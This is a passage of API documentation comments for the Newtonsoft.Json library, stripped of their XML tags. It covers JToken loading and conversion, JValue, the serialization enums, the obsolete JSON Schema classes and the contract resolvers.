cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is 